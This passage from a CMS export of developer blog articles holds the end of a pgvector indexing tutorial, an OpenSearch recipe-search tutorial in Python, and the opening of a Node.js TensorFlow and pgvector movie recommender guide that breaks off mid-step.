this:\n\n\n```sql\nCREATE INDEX idx_articles_hnsw ON articles \n    USING hnsw (content_vector vector_l2_ops) \n    WITH (m = 10, ef_construction = 40) WHERE id \u003c 4000;\n```\n\n\nThis will index only the rows having an `id` less than `4000`, resulting in a smaller and faster index for queries that are looking within this segment of data. \n\nIf we add `WHERE id between 1 and 1000` to our original query, using `EXPLAIN` will show the `idx_articles_hnsw` index is being used:\n\n\n```sql\n-----------------------------------------------------------------------------------------------\n                                    QUERY PLAN\n-----------------------------------------------------------------------------------------------\n Limit  (cost=41.30..67.74 rows=10 width=21)\n   -\u003e  Index Scan using idx_articles_hnsw on articles  (cost=41.30..916.62 rows=331 width=21)\n         Order By: (content_vector \u0026lt;-\u003e '[....]'::vector(1536))\n         Filter: ((id \u003e= 1) AND (id \u0026lt;= 1000))\n(4 rows)\n\n(END)\n```\n\n\n\n### Table partitioning\n\nIf we want to index the whole data set, but we are happy to create different vector indexes based on categorizing the data, then we can use partitioned tables with dedicated indexes for each partition.\n\nIn our Wikipedia example, we can create a table that partitions the data based on the hashing of the `title` column with:\n\n\n```sql\nCREATE TABLE IF NOT EXISTS articles_partitioned (\n    id INTEGER NOT NULL,\n    url TEXT,\n    title TEXT,\n    content TEXT,\n    title_vector vector(1536),\n    content_vector vector(1536),\n    vector_id INTEGER\n)\nPARTITION BY hash(id);\nCREATE TABLE articles_partitioned_p_hash_p1 partition of articles_partitioned for values with (modulus 10, remainder 0);\nCREATE TABLE articles_partitioned_p_hash_p2 partition of articles_partitioned for values with (modulus 10, remainder 1);\nCREATE TABLE articles_partitioned_p_hash_p3 partition of articles_partitioned for values with (modulus 10, remainder 2);\nCREATE TABLE articles_partitioned_p_hash_p4 partition of articles_partitioned for values with (modulus 10, remainder 3);\nCREATE TABLE articles_partitioned_p_hash_p5 partition of articles_partitioned for values with (modulus 10, remainder 4);\nCREATE TABLE articles_partitioned_p_hash_p6 partition of articles_partitioned for values with (modulus 10, remainder 5);\nCREATE TABLE articles_partitioned_p_hash_p7 partition of articles_partitioned for values with (modulus 10, remainder 6);\nCREATE TABLE articles_partitioned_p_hash_p8 partition of articles_partitioned for values with (modulus 10, remainder 7);\nCREATE TABLE articles_partitioned_p_hash_p9 partition of articles_partitioned for values with (modulus 10, remainder 8);\nCREATE TABLE articles_partitioned_p_hash_p10 partition of articles_partitioned for values with (modulus 10, remainder 9);\n```\n\nWe can insert the data into the `articles_partitioned` table with:\n\n```sql\nINSERT INTO articles_partitioned SELECT * FROM articles;\n```\n\nWe can now create an index like this:\n\n```sql\nCREATE INDEX idx_articlespartitioned_hnsw ON articles_partitioned \n    USING hnsw (content_vector vector_l2_ops) \n    WITH (m = 10, ef_construction = 40);\n```\n\n\nThe index is created pretty fast, but the results are not as accurate as before:\n\n```text\n   title    |     similarity\n------------+--------------------\nPizza Pizza | 0.5479716613013446\nPepperoni   |  0.610343554634968\nPineapple   | 0.6146698071910883\nPizza Hut   | 0.6337399221217159\nTe Puke     | 0.6567274128181192\nPie         |  0.673541906631888\nAfelia      | 0.6747670584095107\n1518        | 0.6799215593395357\nPastry      | 0.6821241658509565\nRavioli     | 0.6852264524921056\n\n(10 rows)\n```\n\n\nThe accuracy is lower because PostgreSQL creates an index per partition. From the similarity search point of view, it creates layers or clusters based only on data contained in a single partition (see the image below).\n\n\n![Illustration shows that the layers or clusters for each partition’s index are based only on the data within that partition.](https://cdn.sanity.io/images/sczeoy4w/production/fddd1bcb3cc911aa4d15836001553eaf4215ff6a-3200x1004.png)\n\n\nThis approach is good if we know our search will always hit data in just one partition. For example, if we partition the table based on products, searching within a particular product category will work well. If a search is done across partitions, for example looking for items with similar designs across different product categories, there may be suboptimal results. In our pizza example, we partitioned by hashing the id and the query spanned all the partitions, so the accuracy was lower.\n\n\n### Hybrid search with index combination\n\nYou might be wondering whether it’s possible to combine an index with a hybrid search, to speed up combined searches of vectors and standard data columns. Unfortunately, it isn’t yet.\n\nYou might think we could index the vector and standard data columns separately and that PostgreSQL could combine the results of the indexes. \n\nFor example, let’s consider the following query (the vector data is hidden in the SQL):\n\n\n```sql\nselect title, \ncontent_vector \u003c-\u003e vt similarity\nfrom articles\nwhere id = 1000\norder by content_vector \u003c-\u003e [........]\nlimit 10;\n```\n\nOur data set is somewhat limited, so for demonstration purposes we’ll search by ID as well as the article content, even though the ID is just a sequential number. Let’s create an index on the `articles` column `id`: \n\n```sql\ncreate index idx_id on articles(id);\n```\n\n\nOur hope is that PostgreSQL will use both indexes to retrieve the results without accessing the table. However, PostgreSQL only uses the index on the `content_vector` column to find the nearest vectors and then filters the result using the `id` column, as shown by `EXPLAIN`:\n\n```text\nLimit  (cost=61.45..64.54 rows=10 width=21)\n   -\u003e  Index Scan using idx_articles_hnsw on articles  (cost=61.45..7673.61 rows=24666 width=21)\n         Order By: (content_vector \u003c-\u003e '[...]'::vector(1536))\n         Filter: (id \u003e 1000)\n(4 rows)\n```\n\nWhile this returns the right results, it doesn’t give us the speed benefit of using an index on the `id` column.\n\nUnfortunately, you can’t create multi-column indexes that mix vector and standard data. Let’s try, for example, to add multiple columns to an `hnsw` (or `ivfflat` index) like this:\n\n\n```sql\nCREATE INDEX idx_articles_hnsw ON articles \n    USING hnsw (content_vector vector_l2_ops, id) WITH (m = 10, ef_construction = 40)\n```\n\nWe get the following error:\n\n```text\nERROR:  access method \"hnsw\" does not support multicolumn indexes\n```\n\nWe could try to do this with the `INCLUDE` option like this:\n\n```sql\nCREATE INDEX idx_articles_hnsw ON articles \n    USING hnsw (content_vector vector_l2_ops) INCLUDE (id) WITH (m = 10, ef_construction = 40)\n```\n\nBut this results in a similar error:\n\n```text\nERROR:  access method \"hnsw\" does not support included columns\n```\n\n\nSince hybrid search is becoming more popular, we expect methods like this to be supported in the future. Looking at the pgvector GitHub repository, there’s an[ active discussion about combining HNSW and filtering in a unique index](https://github.com/pgvector/pgvector/issues/259). Moreover, [a branch](https://github.com/pgvector/pgvector/tree/hqann) was recently created as a first attempt to implement the [HQANN](https://arxiv.org/pdf/2207.07940.pdf) search. This should allow scalar and vector types to be mixed in the same index using a modified distance function. It’s worth keeping an eye on both of these developments because hybrid searches are a common requirement. \n\nPlease note that hybrid queries are still possible in PostgreSQL, they will only partially use one of the index available.\n\n\n## Indexes to avoid full vector element comparison\n\nThe indexes we’ve explored allowed us to avoid scanning the full table, but this is only one of the optimization options when dealing with vectors. The other is to reduce the amount of work by shortening the vector size: instead of comparing `1536` elements per array, why don’t we compare only a subset (for example, `256`) of them? \n\nIn the past, this wouldn’t work because models were trained with a specific embedding length in mind and gave each element equal weight. Skipping some embeddings would mean arbitrarily discarding useful information. But more recent models, such as OpenAI `text-embedding-3-large`, provide a [native way to shorten embeddings](https://openai.com/blog/new-embedding-models-and-api-updates), without losing too much accuracy. In technical terms, this is called Matryoshka representation learning.\n\nWhen using models which have the embeddings shortening feature, we can work with a subset of the elements, usually taking the first chunk in predefined sizes (for example `256`, `512` or `1024`. \n\n\n### Shortening the vector size in PostgreSQL\n\nHow do we shorten the vector size? You might think you could use subscripting:\n\n```sql\nSELECT content_vector[1:256] FROM articles;\n```\n\nUnfortunately this doesn’t work, giving you the following error:\n\n```text\nERROR:  cannot subscript type vector because it does not support subscripting. \n```\n\nYou could try to cast the vector as an 256-item array of float:\n\n```sql\nselect content_vector::FLOAT[256] from articles;\n```\n\nBut this also fails:\n\n```text\nERROR:  cannot cast type vector to double precision[]. \n```\n\nWhat we can do is cast the vector as text and then as an array like this:\n\n```sql\nselect translate(((translate(content_vector::text, '[]','{}')::FLOAT[])[0:256]::text), '{}','[]')::vector(256) \nfrom articles \nlimit 1;\n```\n\nIn the above we: \n\n* convert the `content_vector` to `text`\n* substitute the `[` and `]` with `{` and `}` \n* cast the result to a `FLOAT` array\n* take the first `256` entries from the resulting array via subscripting (`[0:256]`)\n* substitute the `{` and `}` with `[` and `]`\n* Convert back to `text`\n* cast the result back to vector\n\n\n### Indexing a shortened vector in PostgreSQL\n\nHow can we speed up the search query? We could create an index on the entire expression for creating the shortened vectors like this (paste the first 256 elements of the query into the second line):\n\n\n```sql\nwith data as (\n    select '[first 256 elements of the OpenAI vector]'::VECTOR(256) as vt\n)\nselect title, \n    translate(((translate(content_vector::text, '[]','{}')::FLOAT[])[0:256]::text), '{}','[]')::vector(256) \u003c-\u003e vt similarity\nfrom articles_partitioned join data on 1=1\norder by translate(((translate(content_vector::text, '[]','{}')::FLOAT[])[0:256]::text), '{}','[]')::vector(256) \u003c-\u003e vt\nlimit 10;\n```\n\nThis code runs, without indexes, in `30 sec` and is creating the `256` element version of the embeddings.\n\nWe could try to create the index with:\n\n```sql\nCREATE INDEX idx_articles256_hnsw ON articles_partitioned \n    USING hnsw ((translate(((translate(content_vector::text, '[]','{}')::FLOAT[])[0:256]::text), '{}','[]')::vector(256)) vector_l2_ops) \n    WITH (m = 10, ef_construction = 40);\n```\n\n\nBut that fails with the following error:\n\n```text\nERROR:  functions in index expression must be marked IMMUTABLE. \n```\n\nWhat’s more, indexes over functions are not a great technique because they force users to use the same complex syntax to query them.  \n\nAn alternative is to create an additional column in the `articles` table to store the `256` element vectors:\n\n```sql\nALTER TABLE articles ADD COLUMN content_vector_reduced VECTOR(256);\n```\n\nWe can populate it like this:\n\n```sql\nUPDATE articles SET content_vector_reduced=translate(((translate(content_vector::text, '[]','{}')::FLOAT[])[0:256]::text), '{}','[]')::vector(256);\n```\n\nAnd create the index on the `256` element version with:\n\n```sql\nCREATE INDEX idx_articles256_hnsw ON articles \n    USING hnsw (content_vector_reduced vector_l2_ops) \n    WITH (m = 10, ef_construction = 40);\n```\n\nCreating this index is way faster (`15 sec`). \n\nWe can now try this query, limiting the input vector to the first 256 elements of the original array:\n\n```sql\nwith data as (\n    select '[\n    0.02338707074522972, -0.017537152394652367, 0.014360039494931698, -0.025202563032507896, -0.017234569415450096, 0.0018643466755747795, -0.013893559575080872, -0.009581765159964561, 0.006732450798153877, -0.03714194521307945, 0.021848944947123528, 0.008800094947218895, -0.012323915027081966, 0.005071401130408049, -0.0010046670213341713, 0.008768576197326183, 0.03086336888372898, -0.010867739096283913, -0.001483755186200142, -0.006631589960306883, 0.00044835725566372275, -0.01773887313902378, 0.01492738164961338, -0.01236173789948225, 0.022340642288327217, 0.009815005585551262, 0.008579461835324764, -0.00020428228890523314, 0.011605282314121723, 0.014309609308838844, 0.05285099893808365, -0.0039430223405361176, -0.012985813431441784, -0.01689416542649269, -0.02065122500061989, 0.0007375437417067587, -0.003873680718243122, -0.010886650532484055, 0.001689416472800076, -0.022769300267100334, 0.01762540452182293, -0.03451956808567047, -0.009644802659749985, -0.023160135373473167, -0.042336273938417435, 0.0012576066656038165, -0.002456903224810958, -0.01002933457493782, -0.0002019183593802154, -0.01362880039960146, 0.018482720479369164, 0.009733055718243122, -0.028140131384134293, -0.005036730319261551, 0.005433869548141956, 0.010357131250202656, -0.0082012340426445, -0.023424893617630005, -0.00740065285935998, -0.01778930239379406, 0.01135313045233488, 0.0030967381317168474, -0.03149374946951866, 0.003227541921660304, -0.0014018059009686112, 0.005799489561468363, 0.003656199900433421, -0.011605282314121723, 0.021647224202752113, -0.008012120611965656, 0.021382465958595276, 0.007583462633192539, 0.01825578324496746, -0.02455957606434822, 0.013111889362335205, 0.006612678524106741, -0.01002933457493782, -0.013843129388988018, 0.0011441383976489305, 0.009436777792870998, 0.026501145213842392, -0.012424775399267673, 0.0019179289229214191, 0.038327060639858246, 0.017511935904622078, 0.0007111466256901622, -0.0398399718105793, 0.014902166090905666, 0.01705806329846382, -0.0058120968751609325, -0.01645289920270443, 0.005802641157060862, -0.0021842641290277243, 0.013200142420828342, -0.038629643619060516, 0.012626497074961662, -0.011674623936414719, 0.025063879787921906, 0.004006060305982828, -0.02570686675608158, -0.0014152014628052711, 0.01905006170272827, -0.014082673005759716, -0.02687937207520008, 0.002307188231498003, -0.007684323471039534, -0.0012316035572439432, -0.023550970479846, 0.023122312501072884, 0.0026712322141975164, -0.011838522739708424, 0.03119116649031639, 0.010023030452430248, -0.022907983511686325, 0.002924959873780608, 0.004500907845795155, 0.015116495080292225, 0.007148500997573137, -0.024143526330590248, -0.04362224414944649, 0.028316637501120567, 0.0036971743684262037, 0.027333244681358337, -0.00706024793908, 0.02720716968178749, 0.0025388526264578104, 0.001517638098448515, -0.021458109840750694, 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-0.042714498937129974, 0.025719475001096725, -0.007028728723526001, 0.007659108377993107, -0.018596189096570015, -0.003369377227500081, 0.01211589016020298, 0.011662016622722149, -0.005188021343201399, -0.00453557912260294, 0.013414471410214901, 0.032729290425777435, -0.01222305465489626, -0.03595683351159096, -0.00804994348436594, -0.027333244681358337, -0.007898651994764805, -0.005610375665128231, 0.013326218351721764, 0.028467928990721703, 0.01912570744752884, 0.0004979996010661125, -0.6854491829872131, -0.014700444415211678, 0.01694459468126297, -0.04112594574689865, 0.022857552394270897, 0.042058903723955154, 0.005216388497501612, -0.010672321543097496, -0.0071232859045267105, -0.022605400532484055, -0.003879984375089407, 0.017776696011424065, 0.038377489894628525, -0.0006792336935177445, -0.02174808457493782, -0.023160135373473167, 0.018217960372567177, -0.013225357048213482, -0.016162924468517303, 0.020840339362621307, -0.0008691354305483401, 0.0037728198803961277, 0.01689416542649269, 0.00024269602727144957, 0.040016476064920425, 0.0029958775267004967, 0.018570972606539726, -0.015683837234973907, -0.004273971542716026, 0.013691837899386883, -0.02469825930893421, 0.008888348005712032, 0.005310945212841034, -0.00878748670220375, 0.047707103192806244, 0.009272878989577293, -0.03192240744829178, 0.01286604069173336, 0.00370032642967999, 0.03729323670268059, -0.010212143883109093, -0.018709657713770866, 0.02627420797944069, 0.0015113343251869082, -0.024710867553949356, -0.00931700598448515, 0.016818519681692123, -0.0068270075134932995, 0.014813913032412529, -0.007778880186378956, 0.02179851569235325, 0.0021338339429348707, 0.0198065172880888, 0.021861553192138672, 0.0033473139628767967, -0.00144593243021518, 0.03991561755537987, 0.00053385243518278, -0.0048034898936748505, -0.008409259840846062, -0.0037034782581031322, 0.008276879787445068]'::VECTOR(256) as vt\n)\nselect title, content_vector_reduced \u003c-\u003e vt similarity\nfrom articles join data on 1=1\norder by content_vector_reduced \u003c-\u003e vt\nlimit 10;\n```\n\nThe result set comes back in `24 ms` with the top results in line with the original non-indexed query, as shown below. The similarity figures are much lower than our original search because the similarity calculation uses fewer elements.\n\n```text\n     title      |      similarity\n----------------+---------------------\n\n Pizza          | 0.22997463729171275\n Pizza Pizza    | 0.23568754629581293\n Pepperoni      | 0.24703888071231495\n Pineapple      | 0.25392144964646235\n Pie            | 0.27119107491923206\n Pizza Hut      | 0.27250517892728304\n The Republic   |  0.2727779881779113\n Grape tomato   |  0.2736757330550383\n English muffin | 0.27480416043684464\n Pastry         |  0.2783681192665386\n\n\n(10 rows)\n```\n\n\n\n## Conclusion\n\nPgvector is a very powerful backend for your AI applications. The ability to store embeddings and calculate vector similarity, together with the huge set of PostgreSQL SQL features, enables users to mix standard queries and AI-driven searches to provide better results.\n\nIndexing can speed up performance when the amount of data or the size of the embeddings are a challenge. The IVFFlat and HNSW indexes allow you to cluster similar embeddings or layer the vector search queries. Shortening the vector size speeds up performance at the cost of accuracy.\n\nIn the vector space there’s no free food: performance and accuracy are a tradeoff when using indexes. Analyzing the indexing parameters and how they influence the query behavior can help you to define the sweet spot between the query speed and the accuracy of the results.\n","feature":{"_type":"featuredItem","active":false,"endDate":"2024-03-15T07:34:10.634Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"publishedAt":"2024-03-08T09:38:00.000Z","seo":{"_type":"metaData","metaDescription":"Learn the theory and the details of how to speed up PostgreSQL® pgvector queries using indexes IVFFlat, HNSW and traditional indexes","metaImage":{"_type":"mainImage","asset":{"_ref":"image-a543da57f0e0c0ea2f9659ca528d344a3e23e882-1200x628-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/postgresql-pgvector-indexes"},"subtitle":"Learn the theory and the details of how to speed up PostgreSQL® pgvector queries using indexes IVFFlat, HNSW and traditional indexes","tags":[{"_key":"bdf609a22dcf","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"a22c1fc8b23a","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"},{"_key":"fa948d6bd8ea","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"}],"title":"Speed up PostgreSQL® pgvector queries with indexes"}
{"__i18n_lang":"en","_createdAt":"2023-08-07T07:20:34Z","_id":"1cb86919-e964-41d5-86ea-65394ece8c44","_rev":"ZLvKaZvfbZlWBlGcpIqONT","_type":"devArticle","_updatedAt":"2024-01-29T15:50:23Z","body":"## A Python-perfect dinner party with OpenSearch®\n\n### Introduction\nWhen I plan a dinner party, I want my guests to have a great experience, and definitely, I do not want anyone hungry. I need to check the ingredients, my guests' diet restrictions, and preferences. If you also feel that planning that special dinner can be challenging, you are in for a treat. \n\nIn this blog, I'll show how to find delicious recipes in the pythonic way. We just need data, Python and the powers of OpenSearch® to plan a perfect dinner party!\n\nOur support material in this learning journey will be a useful [CLI application](https://github.com/Aiven-Labs/demo-opensearch-python) that lets you explore common types of OpenSearch query, and even run them yourself.\n\n### Getting started\n\nSome may agree that our search results can be only as good as our dataset. But do not worry, we will be using a high-quality dataset from [Epicurious](https://www.kaggle.com/datasets/hugodarwood/epirecipes?select=full_format_recipes.json) which contains over 20.000 full recipes, ratings, and nutrition information for us.\n\nI'll be using Aiven's fully managed OpenSearch service to get our cluster up and running. I've prepared a [demo](https://github.com/Aiven-Labs/demo-opensearch-python) that contains all the code to connect, send data and perform the search queries. \n\nEverything is explained in the project [README.rst](https://github.com/Aiven-Labs/demo-opensearch-python/blob/main/README.rst), so you can just focus on understanding the queries. \n\n### Ingest data to the OpenSearch cluster\n\nThe first step is to load the data into our OpenSearch cluster, so we can start to query. Check out how to load the data to your cluster [using the Python client](https://aiven.io/docs/products/opensearch/howto/sample-dataset.html#load-the-data-with-python). \n\nNow, we can start to play with data!\n\n### Finding recipes\n\nRumors are that my grandfather is coming to the dinner, so I know I should have at least one recipe that is low in sodium. Low sodium meals are recommended to reduce blood pressure, but in general, this is a good healthy option for everyone.\n\nWe can use the `range` function to help us to find documents where the field value (in this case, `sodium`) is within a certain range.\n\nRecipes under 140 ms of sodium per serving are considered low sodium meals. So let’s look for recipes around 100 - 140 mg, and build this query as:\n\n```python\n{\n   \"query\":{\n      \"range\":{\n         \"sodium\":{\n            \"gte\":100,\n            \"lte\":140\n         }\n      }\n   }\n}\n```\n\nWe can use the demo program to see the `range` query in action by running:\n\n```\npython search.py \"sodium\" 100 140\n```\n\nI'm curious to see what kind of recipes, we get under this condition, and here we go:\n\n```\n['Salsa Verde ',\n 'Green Bean and Red Onion Salad with Warm Cider Vinaigrette ',\n 'Toasted-Pecan Pie ',\n 'Provençal Chicken and Tomato Roast ',\n 'Sauteed Cod Provençale ',\n 'Roasted Potatoes and Asparagus with Parmesan ',\n 'Sweet-and-Sour Baby Carrots ',\n 'Ricotta Puddings with Glazed Rhubarb ',\n 'Butternut Squash and White Bean Soup ',\n 'Turkish Zucchini Pancakes ']\n```\n\n'Turkish Zucchini Pancakes' seems like a delicious recipe, so this would be my choice.\n\nAlso, I need to find a delicious salad recipe for the occasion 🥗. It's radish season and this vegetable goes really well in summer salads, so let's use `match_phrase` to look for a \"title\"  containing \"Salad with Radish\". \n\n```python\n{\n   \"query\":{\n      \"match_phrase\":{\n         \"title\":{\n            \"query\":\"Salad with radish\"\n         }\n      }\n   }\n}\n```\n\nWe can run this query using the demo program:\n\n```\npython search.py match-phrase \"title\" \"Salad with Radish\"\n```\n\nand here is our result:\n\n```\n['Green Bean and Red Onion Salad with Radish Dressing ']\n```\n\nWe only got one match and it seems like radish is only part of the dressing. The reason is that the order of words is important when you use `match_phrase`. In this case, the phrase `Salad with Radish` only appeared once, hence our single result.\n\nWe can fix that by adding some flexibility to our search. There is a powerful feature on `match_phrase` that allows us to define the distance that the search words can be from each other. This parameter is called `slop` (default=0). So let's try again with the `slop` parameter set to 3.\n\n```python\n{\n   \"query\":{\n      \"match_phrase\":{\n         \"title\":{\n            \"query\":\"Salad with radish\",\n            \"slop\":3\n         }\n      }\n   }\n}\n```\n\nWe can run this query using the demo program:\n\n```\npython search.py match-phrase \"title\" \"Salad with Radish\" --slop 3\n```\n\nNot surprisingly, we got more results this time:\n\n```\n['Green Bean and Red Onion Salad with Radish Dressing ',\n 'Winter Salad with Black Radish, Apple, and Escarole ',\n 'Avocado Radish Salad with Lime Dressing ',\n 'Chickpea Salad Sandwich With Creamy Carrot-Radish Slaw ',\n 'Mâche, Frisée, and Radish Salad with Mustard Vinaigrette ',\n 'Frisée and Radish Salad with Goat Cheese Croutons ',\n 'Endive, Mâche, and Radish Salad with Champagne Vinaigrette ',\n 'Butter Lettuce and Radish Salad with Fresh Spring Herbs ',\n 'Butter Lettuce and Radish Salad with Lemon-Garlic Vinaigrette ',\n 'Shaved Carrot and Radish Salad With Herbs and Pumpkin Seeds ']\n```\n\nNow, our results match with \"Radish Salad with\", \"Salad with `\u003csomething else\u003e` Radish\" and so on.\nWe can pick one and move forward to find a desert.\n\nLet's explore how the `match` function works, building a query to find \"Chocolate Carrot Cake\" in our \"title\".\n\n```python\n{\n   \"query\":{\n      \"match\":{\n         \"title\":{\n            \"query\":\"Chocolate Carrot Cake\",\n            \"operator\": \"and\"\n         }\n      }\n   }\n}\n```\n\nThe `match` parameter will report results in a sorted order of how closely they relate to \"Chocolate Carrot Cake\" 🥕. By default `match` uses the \"OR\" operator, giving results for \"Chocolate\" or \"Carrot\" or \"Cake\". However, I want to have all these terms included in the \"title\" when we search. We can use the \"AND\" operator for that:\n\n```\npython search.py match \"title\" \"Chocolate Carrot Cake\" --operator \"and\"\n```\n\nHere are our cake results.\n\n```\n['Chocolate-Orange Carrot Cake ',\n 'Milk Chocolate Semifreddo with Star Anise Carrot Cake ']\n```\n\nEverything seems delicious and we are ready for the party 🥳! And what's for your dinner? You can play around writing your own search queries and find your own perfect dinner. \n\nHappy meal, everyone!\n\n## Examples and other resources\n\n- [Find the code sample on the GitHub repository](https://github.com/Aiven-Labs/demo-opensearch-python)\n- [Continue the tutorial to learn how to query data](https://aiven.io/docs/products/opensearch/howto/opensearch-search-and-python)\n- [Find more documentation resources for Aiven for OpenSearch](https://aiven.io/docs/products/opensearch)\n\nYou can sign up for a free trial to start using [Aiven for OpenSearch](https://aiven.io/opensearch).","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-14T07:20:31.865Z"},"hierarchy":{"_ref":"34643944-d559-485e-93a0-7d1f94a744e7","_type":"reference"},"publishedAt":"2022-07-28T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Read on to learn how to use OpenSearch® to perform both simple and advanced searches on semi-structured recipe data, and from that produce the perfect menu.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-af32900a8b310b9f6f7d8a0e356c8da7fbfa35af-1567x844-png","_type":"reference"}},"metaTitle":"Find Tasty Recipes with Python and OpenSearch® in 60 Characters"},"slug":{"_type":"slug","current":"/developer/opensearch-dinner-party"},"subtitle":"Read on to learn how to use OpenSearch® to perform both simple and advanced searches on semi-structured recipe data, and from that produce the perfect menu.","tags":[{"_key":"1fc9777edffd","_ref":"17773fab-43cf-4f70-873a-8da1274cde0f","_type":"tag"},{"_key":"6f25861dbd8b","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Write search queries with Python and OpenSearch® to find delicious recipes"}
{"__i18n_lang":"en","_createdAt":"2023-10-05T13:09:24Z","_id":"28a828cd-0a1a-477e-8c4b-91acfc1882bc","_rev":"ZxCjdMWwjhy9DmKAIc0Kzr","_type":"devArticle","_updatedAt":"2024-10-29T10:42:13Z","body":"Here you'll find the instructions to build a movie recommendation system. Each step has a corresponding video that shows in detail what needs to be done. The complete working project can be found in [the GitHub repository](https://github.com/Aiven-Labs/what-movie-to-watch-pgvector).\n\n::youtube[Video introduction to this guide]{#ll2VjbGHO4E}\n\n\u003c!--\n::banner[Join the online workshop where we follow this tutorial.]{ctaText=\"Read more and register\" ctaLink=\"https://aiven.io/workshop/movie-recommender-with-tensorflow-pgvector\" title=\"Free workshop: Build a movie recommendation app with Tensorflow and pgvector\" background=\"\" theme=\"light\"}\n--\u003e\n\n### Step 1. Create the vector embeddings: TensorFlow universal-sentence-encoder and Node.js\n\n::youtube[Video for Step 1]{#BGPbYK71AXc}\n\n##### Dataset\n\nYou'll find the original dataset [in Kaggle](https://www.kaggle.com/datasets/jrobischon/wikipedia-movie-plots). The dataset contains metadata about a movie (title, release year, etc) as well as descriptions of the movies from Wikipedia. It is in CSV format, however, we'll be working with JSON. You can [download the dataset in JSON format dataset here](https://raw.githubusercontent.com/Aiven-Labs/what-movie-to-watch-pgvector/main/first-steps-tensorflow-pg-nodejs/movie-plots.json).\n\n##### New to Node.js?\n\nDownload and install Node.js [here](https://nodejs.org/en/download).\n\n##### Add dependencies\nInstall dependencies for [TensorFlow](https://github.com/tensorflow/tfjs-models). Make sure that the path does not include spaces or special characters (`tfjs-node` is very picky):\n\n```bash\nnpm install @tensorflow-models/universal-sentence-encoder --save\n```\n```bash\nnpm install @tensorflow/tfjs-node --save\n```\n\nInstalling these in order is important, otherwise you might have peer-dependency issues.\n\n##### Add the encoder\n\nIn the root project directory, create the **encoder.js** file.\n\nInclude these dependencies:\n\n```js\nconst fs = require(\"fs\");\nrequire('@tensorflow/tfjs-node');\nconst use = require('@tensorflow-models/universal-sentence-encoder');\nconst moviePlots = require(\"./movie-plots.json\");\n```\n\nAdd code to get embeddings for a single movie:\n```js\nuse.load().then(async model =\u003e {\n    const sampleMoviePlot = moviePlots[0];\n    const embeddings = await model.embed(sampleMoviePlot['Plot']);\n    console.log(embeddings.arraySync());\n});\n```\n\nRun:\n```bash\nnode encoder.js\n```\n\nNote: though we don't use the output from `require('@tensorflow/tfjs-node');` directly, do not remove this line, as TensorFlow needs it to work correctly.\n\n### Step 2. Free PostgreSQL setup: create Table, enable PGVector\n::youtube[Video for Step 2]{#32nFWH5WY0A}\n##### Create service pg-movie-app\n\nTo host your PostgreSQL service for free in the cloud, use [Aiven for PostgreSQL®](https://aiven.io/postgresql). To get an extra 100$ credits when signing up with Aiven, use [this link](https://go.aiven.io/get-pgvector).\n\n##### Test with pgAdmin\n\nTo use Aiven for PostgreSQL with pgAdmin, click on **Quick Connect** and choose **Connect with pgAdmin**. You'll see the steps that you need to perform and a link to download the **pgConnect.json** file. Open pgAdmin, import a new server and select downloaded **pgConnect.json**.\n\nEnable PGVector:\n\n```sql\nCREATE EXTENSION vector;\n```\n\nCreate a table:\n\n```sql\nCREATE TABLE movie_plots (\n    title VARCHAR,\n    director VARCHAR,\n    \"cast\" VARCHAR,\n    genre VARCHAR,\n    plot TEXT,\n    \"year\" SMALLINT,\n    wiki VARCHAR,\n    embedding vector(512)\n);\n```\n\n##### Connect with Node.js\n\nInstall `node-postgres`:\n\n```bash\nnpm install pg --save\n```\n\nInstall `dotenv` to store credentials:\n\n```bash\nnpm install dotenv --save\n```\n\nCreate an **.env** file and add the following connection information:\n\n```bash\nPG_NAME=\nPG_PASSWORD=\nPG_HOST=\nPG_PORT=\n```\n\nDownload the **ca.pem** certificate from the [Aiven console](https://console.aiven.io). \nAdd both **.env** and **ca.pem** to **.gitignore**.\n\n##### Send a request to PostgreSQL from Node.js\n\nIn **encoder.js** include:\n\n```js\nrequire('dotenv').config();\n```\n\nand\n\n```js\nconst pg = require('pg');\n```\n\nAdd the PostgreSQL connection configuration as well:\n```js\nconst config = {\n    user: process.env.PG_NAME,\n    password: process.env.PG_PASSWORD,\n    host: process.env.PG_HOST,\n    port: process.env.PG_PORT,\n    database: \"defaultdb\",\n    ssl: {\n        rejectUnauthorized: true,\n        ca: fs.readFileSync('./ca.pem').toString(),\n    },\n};\n```\n\nCreate the client, connect it to PostgreSQL and send a test SQL request:\n\n```js\nconst client = new pg.Client(config);\nawait client.connect();\ntry {\n    const pgResponse = await client.query(`SELECT count(*) FROM movie_plots`);\n    console.log(pgResponse.rows);\n} catch (err) {\n    console.error(err);\n} finally {\n    await client.end();\n}\n```\n\n### Step 3. Efficiency: Batch TensorFlow vector generation and data insertion with pg-promise multiple rows\n::youtube[Video for Step 3]{#leJyTA2pUXM}\n\n##### Add pg-promise\n\nTo generate and send a multi-row insert query, we'll use [pg-promise](https://github.com/vitaly-t/pg-promise/wiki/Data-Imports). Install it with:\n\n```bash\nnpm install pg-promise --save\n```\n\nInclude pg-promise in **encoder.js**:\n\n```js\nconst pgp = require('pg-promise')({\n    capSQL: true // capitalize all generated SQL\n});\nconst db = pgp(config);\n```\n\nAdd the following code to send a multi-row insert query to PostgreSQL:\n\n```js\nconst storeInPG = async (moviePlots) =\u003e {\n   const columns = new pgp.helpers.ColumnSet(['title', 'director', 'plot', 'year', 'wiki', 'cast', 'genre', 'embedding'], {table: 'movie_plots'});\n\n   const values = [];\n   for(let i = 0; i \u003c moviePlots.length; i++) {\n      values.push({\n         title: moviePlots[i]['Title'],\n         director: moviePlots[i]['Director'],\n         plot: moviePlots[i]['Plot'],\n         year: moviePlots[i]['Release Year'],\n         cast: moviePlots[i]['Cast'],\n         genre: moviePlots[i]['Genre'],\n         wiki: moviePlots[i]['Wiki Page'],\n         embedding: `[${moviePlots[i]['embedding']}]`\n      })\n   }\n\n   const query = pgp.helpers.insert(values, columns);\n   await db.none(query);\n}\n```\n[db.none](https://vitaly-t.github.io/pg-promise/Database.html#none) executes a query that expects no data to be returned.\n\n##### TensorFlow and batch processing\n\nNext load the model and iterate over all movies to get encodings with TensorFlow. \nWe'll 